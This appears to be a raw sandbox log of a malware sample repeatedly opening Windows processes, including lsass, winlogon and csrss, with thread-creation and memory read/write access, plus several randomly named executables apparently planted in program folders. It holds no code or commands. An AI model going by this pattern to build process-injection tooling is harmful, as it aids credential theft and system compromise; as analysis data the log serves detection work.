Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wbem\wmiprvse.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\sppsvc.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\dwm.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows media player\shirts_cumshots_compaq.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft office\league.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows mail\js_sound.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows media player\beast-dry.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft synchronization services\forecastsgeographic.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows portable devices\reno.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows journal\specreformwear.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows photo viewer\rr_publications.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows mail\solo.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\uninstall information\beam.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\adobe\configurations.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows sidebar\fact-film-anticipated.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\wanting villages.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\engagementresearchersmonkey.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\surgical-marcus.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\iexplore.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\iexplore.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\smss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wininit.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\winlogon.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\services.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\lsass.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\lsm.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\spoolsv.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wbem\wmiprvse.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\sppsvc.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\dwm.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows media player\shirts_cumshots_compaq.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft office\league.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows mail\js_sound.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows media player\beast-dry.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft synchronization services\forecastsgeographic.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows portable devices\reno.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows journal\specreformwear.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows photo viewer\rr_publications.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows mail\solo.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\uninstall information\beam.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\adobe\configurations.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows sidebar\fact-film-anticipated.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\wanting villages.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\engagementresearchersmonkey.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\surgical-marcus.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\iexplore.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\iexplore.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\smss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wininit.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\winlogon.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\services.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\lsass.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\lsm.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\spoolsv.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wbem\wmiprvse.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\sppsvc.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\dwm.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows media player\shirts_cumshots_compaq.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft office\league.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows mail\js_sound.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows media player\beast-dry.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft synchronization services\forecastsgeographic.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows portable devices\reno.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows journal\specreformwear.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows photo viewer\rr_publications.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows mail\solo.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\uninstall information\beam.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\adobe\configurations.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows sidebar\fact-film-anticipated.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\wanting villages.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\engagementresearchersmonkey.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\surgical-marcus.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\iexplore.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\iexplore.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\smss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wininit.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\winlogon.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\services.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\lsass.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\lsm.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
